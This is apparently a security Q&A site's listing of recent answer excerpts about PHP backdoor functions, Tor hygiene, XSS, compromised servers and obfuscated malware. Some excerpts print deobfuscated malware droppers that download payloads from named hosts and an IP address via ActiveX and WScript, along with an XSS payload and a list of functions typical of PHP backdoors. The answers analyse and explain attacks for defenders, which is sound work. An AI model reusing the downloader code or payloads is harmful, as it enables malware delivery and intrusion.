New answers tagged

0

Most of the time, backdoors made in PHP make use of the following functions: base64_decode eval passthru system shell_exec exec popen Shells made in PHP usually make use of the same functions as the ones I listed above, but also use the following quite often: diskfreespace / disk_free_space disk_total_space is_readable is_writeable / is_writable ...


0

The sequence to check-up is just exactly the same as if you were browsing from unsafe place, like public open wifi : full system scan, log checking, anti-malware tools risen to the maximum protection level. Tor/darknet is just a network, no darknet-specific problems there so far : you can leak your data with the same result as in clearnet/internet.


1

Tor should have noscript installed. You simply click on the NoScript extension and click disable javascript on all sites. Unfortunately, once you've done something on the internet you can't change it. You can't go back and do it again differently, just like you can't in real life. Consider refraining from doing things you might later regret, especially if ...


5

<iMg SrC=x OnErRoR=window.location=123> The mixed case parts in your example are not the Javascript but the HTML. And HTML is case insensitive <iMg HTML img tag (i.e. image), case insensitive SrC src attribute for HTML img tag, case insensitive OnErRoR onerror attribute for HTML img tag, case insensitive window.location=123 - ...


3

As a first step, run the code through a JS beautifier to the code to do some of the escaping. Note, you'll see several patterns like: Fake["hostkey" ["replace"](/hostkey/, "write")] which inside the brackets is equivalent to "hostkey".replace(/hostkey/, "write") which evaluates to just "write" or Fake.write. Also The bulk of the activity seems to be in ...


0

Generating another public-private key would be overkill for this senario. If you're really worried about some malware reading the browser cache, you can instruct the browser to just not cache anything. <meta http-equiv=”Cache-Control” content=”no-cache” /> <meta http-equiv=”Cache-Control” content=”no-store” /> If you're worried about someone ...


1

Even if Skype can run JavaScript, it's not necessarily the end of the world. I agree it is bad, as it greatly increases functionality ads can access. But don't forget there is the https://en.m.wikipedia.org/wiki/Same-origin_policy thing going on. So saying "because someone can execute JavaScript on your client means you are completely owned" is like saying ...


9

It seems to me that Skype is using the areyouahuman.com ad tech to only deliver their ads to "humans". Why it wants to download the file? If you see at "Type" it says: Undecided. Which could be a bug in the areyouahuman server which failed to set the content-type header. In the case of browsers, they normally display the "download file" pop-up when the ...


1

OK, I will try to focus on the part of "who". My question is is there a way to see who and how was able to edit these files? It depends, but what can you do is following: analyze server logs (auth, apache, ftp etc.) while you are analyzing logs keep in mind to check if there is any kind of information about pre-attack phase (sometimes attackers are ...


3

There is a canonical question entitled "How do I deal with a compromised server?". Since you are on a shared host, there are some limitations to what you can do. I still strongly recommend you to read the full accepted answer. Below I will discuss how this applies to your situation (i.e. on a shared hosting). Quotes are from the mentioned answer. 1. Take ...


2

Essentially, you would be looking at forensic investigation of the server, which would look in great detail at any access logs, error logs, files with unexpected timestamps, and so on, looking for the specific method that was used in this case. This would need to be carried out at a server level in order to be worthwhile, though, which wouldn't normally be ...


2

Note: this question might have been better on the Tor community despite being on-topic here. Thomas Roth demonstrated that Protonmail was vulnerable to a Cross-site scripting (XSS) attack. The video (Vimeo) he made shows that at least the mail body was vulnerable to Javascript injection. As soon as the receiver read the mail, the code is executed. ...


2

Yes, and quite easily (if I understand the question correctly). If a website has a comments section which allows the user to post anything (or any section where it allows a user/visitor to post anything) and it outputs what they enter exactly as it appears without any sanitation, they could enter something like: <script ...


5

I doubt that this has anything to do with google. According to your description google maps was only your starting point and from there you've opened the different websites for the various business. Some of these sites might be either infected or they contained ads and through these direct infections or the malvertising you got served some Scareware which ...


6

The code will attempt to download and execute malware. Here is the de-obfuscated code, which was put together here. var b = "maharacosmetics.com alpinatextil.net pravdaclub.com scuoladiinglesecagliari.com valery-art.info".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + ...


3

The reason this limitation is enforced, is that the SOP policy does not apply to window.close(), instead, you can actually close any window. It would be impossible to apply the SOP policy to window.close() as normally, each window in a browser process is isolated from each other to prevent certain cross-boundary attacks, thus even your "own windows" would be ...


0

Notably, to prevent sites that suffer from XSS flaws to be "auto-closed" by malicious scripts. Though script-opened pages would still suffer from the issue.. One could argue that 'any XSS-prone site could be defaced anyways'. True, but as Matthew commented, at least you would not "lose" your history (which could be easily restored at the price of a few ...


0

Yes, It looks like a malicious code. This type of code is not allowed in the context of browsers. Moreover, the code is more or less, compatible with Microsoft Internet Explorer and Microsoft Windows Operating System, as other browsers doesn't support ActiveX technology of Microsoft.


0

I never expect a user to use javascript as a search term And users probably won't (depending on what kind of website you have). But attackers will. And they will try to get victims to search for harmful JavaScript (eg by sending them a link), which is then executed in the context of the victims browser. This means that the attacker can now read any ...


6

It most certainly is malware. It uses ActiveX to open up a shell with cmd.exe. This is the deobfuscated version: function zQlMdib() { var asupcI = new ActiveXObject("MSXML2.XMLHTTP"); asupcI['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false); var OnvPPuGD = WScript['ScriptFullName']; asupcI['send'](); if (asupcI['Status'] ...


1

The goal of an XSS attack is for an attacker to somehow inject code into a webpage that is served from your site. This code is privileged in the sense that, as it was served by your site, the same origin policy lets it have full access to your site's cookies and the contents of the web page that you served. So, if your site responds to a request such as ...


1

Just imagine the following scenario: The user is logged into your site, i.e. has a session cookie. The user visits a link to your site which is controlled by the hacker. Such a link could be embedded into a site controlled by the attacker as <img src=http://your-site/.... Or it could be inside a mail, inside an advertisement (see malvertising) or ...


0

What is someone edits the JS and sends different values to the external payment processor? Is that possible? And if it is, how to I securely make sure this does not happen? It's possible. Here is a way that PayPal handles it: Payment button code is encrypted before it is displayed on the merchant website. You could do the same or use a shopping-cart ...


2

The user's client should submit only the order's list of items (and quantities) to the server. Anything else about the order -- especially how much the entire order costs -- should be computed on the server, based on the list of items that were ordered. If the user mucks around with the JavaScript that submits which items the user has ordered, there's ...



Top 50 recent answers are included